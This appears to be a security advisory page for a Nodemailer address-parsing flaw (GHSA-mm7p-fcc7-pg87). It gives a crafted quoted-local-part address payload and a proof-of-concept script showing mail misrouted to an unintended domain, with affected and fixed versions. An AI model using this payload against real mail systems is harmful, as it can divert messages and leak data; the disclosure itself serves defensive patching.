Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. nodemailer
  4. ›
  5. GHSA-mm7p-fcc7-pg87

GHSA-mm7p-fcc7-pg87: Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

October 7, 2025

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n@gmail.com x"@internal.domain Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
service: "gmail",
auth: {
user: "",
pass: "",
},
});

let mailOptions = {
from: '"Test Sender" <your_email@gmail.com>',
to: "\"xclow3n@gmail.com x\"@internal.domain",
subject: "Hello from Nodemailer",
text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
if (error) {
return console.log("Error: ", error);
}
console.log("Message sent: %s", info.messageId);

});


(async () => {
const parser = await import("@sparser/email-address-parser");
const { EmailAddress, ParsingOptions } = parser.default;
const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

if (!parsed) {
console.error("Invalid email address:", mailOptions.to);
return;
}

console.log("Parsed email:", {
address: `${parsed.localPart}@${parsed.domain}`,
local: parsed.localPart,
domain: parsed.domain,
});
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
address: '"xclow3n@gmail.com x"@internal.domain',
local: '"xclow3n@gmail.com x"',
domain: 'internal.domain'
}

But the email is sent to xclow3n@gmail.com

References

  • github.com/advisories/GHSA-mm7p-fcc7-pg87
  • github.com/nodemailer/nodemailer
  • github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626
  • github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87

Code Behaviors & Features

Detect and mitigate GHSA-mm7p-fcc7-pg87 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 7.0.7

Fixed versions

  • 7.0.7

Solution

Upgrade to version 7.0.7 or above.

Weakness

  • CWE-20: Improper Input Validation
  • CWE-436: Interpretation Conflict

Source file

npm/nodemailer/GHSA-mm7p-fcc7-pg87.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Tue, 04 Nov 2025 12:19:00 +0000.